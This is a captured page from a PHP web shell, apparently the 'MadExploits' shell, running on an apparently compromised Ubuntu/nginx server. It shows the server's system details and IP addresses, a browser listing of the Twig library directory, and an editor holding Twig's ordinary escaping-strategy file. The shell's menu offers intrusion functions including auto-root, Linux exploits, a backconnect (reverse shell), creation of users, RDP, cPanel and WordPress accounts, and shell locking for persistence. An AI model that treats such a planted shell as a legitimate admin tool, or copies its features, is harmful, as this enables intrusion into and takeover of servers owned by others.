Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Twig /
[ HOME SHELL ]
Name
Size
Permission
Action
Cache
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Extension
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Node
[ DIR ]
drwxr-xr-x
NodeVisitor
[ DIR ]
drwxr-xr-x
Profiler
[ DIR ]
drwxr-xr-x
RuntimeLoader
[ DIR ]
drwxr-xr-x
Sandbox
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
TokenParser
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Compiler.php
4.78
KB
-rw-r--r--
Environment.php
23.86
KB
-rw-r--r--
ExpressionParser.php
31.92
KB
-rw-r--r--
ExtensionSet.php
12.3
KB
-rw-r--r--
FileExtensionEscapingStrategy....
1.41
KB
-rw-r--r--
Lexer.php
19
KB
-rw-r--r--
Markup.php
939
B
-rw-r--r--
NodeTraverser.php
1.78
KB
-rw-r--r--
Parser.php
11.01
KB
-rw-r--r--
Source.php
1023
B
-rw-r--r--
Template.php
12.52
KB
-rw-r--r--
TemplateWrapper.php
2.63
KB
-rw-r--r--
Token.php
5.17
KB
-rw-r--r--
TokenStream.php
3.45
KB
-rw-r--r--
TwigFilter.php
3.05
KB
-rw-r--r--
TwigFunction.php
2.79
KB
-rw-r--r--
TwigTest.php
2.25
KB
-rw-r--r--
autoload.php
15.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileExtensionEscapingStrategy.php
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig; /** * Default autoescaping strategy based on file names. * * This strategy sets the HTML as the default autoescaping strategy, * but changes it based on the template name. * * Note that there is no runtime performance impact as the * default autoescaping strategy is set at compilation time. * * @author Fabien Potencier <fabien@symfony.com> */ class FileExtensionEscapingStrategy { /** * Guesses the best autoescaping strategy based on the file name. * * @param string $name The template name * * @return string|false The escaping strategy name to use or false to disable */ public static function guess(string $name) { if (\in_array(substr($name, -1), ['/', '\\'])) { return 'html'; // return html for directories } if ('.twig' === substr($name, -5)) { $name = substr($name, 0, -5); } $extension = pathinfo($name, \PATHINFO_EXTENSION); switch ($extension) { case 'js': return 'js'; case 'css': return 'css'; case 'txt': return false; default: return 'html'; } } }
Close